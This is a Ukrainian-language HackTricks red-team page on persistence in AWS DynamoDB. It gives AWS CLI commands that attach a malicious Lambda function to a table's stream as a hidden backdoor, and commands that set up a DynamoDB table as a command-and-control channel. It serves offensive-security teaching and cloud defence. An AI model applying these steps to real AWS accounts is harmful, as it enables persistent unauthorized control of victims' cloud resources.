AWS - DynamoDB Persistence

Вивчайте хакінг AWS від нуля до героя з htARTE (Експерт з червоної команди HackTricks AWS)!

Інші способи підтримки HackTricks:

DynamoDB

Для отримання додаткової інформації перейдіть за посиланням:

pageAWS - DynamoDB Enum

Тригери DynamoDB з Lambda Backdoor

Використовуючи тригери DynamoDB, атакувач може створити приховану задню двері, асоціюючи зловмисну функцію Lambda з таблицею. Функція Lambda може бути запущена при додаванні, зміні або видаленні елемента, що дозволяє атакувачеві виконувати довільний код в межах облікового запису AWS.

# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>

# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>

# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>

Для збереження постійності атакувальник може створювати або змінювати елементи в таблиці DynamoDB, що спричинить виклик зловмисної функції Lambda. Це дозволяє атакувальнику виконувати код у межах облікового запису AWS без прямої взаємодії з функцією Lambda.

DynamoDB як канал C2

Атакувальник може використовувати таблицю DynamoDB як канал керування та контролю (C2), створюючи елементи, що містять команди, та використовуючи компрометовані екземпляри або функції Lambda для отримання та виконання цих команд.

# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>

# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>

Компрометовані екземпляри або функції Lambda можуть періодично перевіряти таблицю C2 на наявність нових команд, виконувати їх і за потреби повідомляти результати назад до таблиці. Це дозволяє зловмиснику зберігати стійкість і контроль над компрометованими ресурсами.

Last updated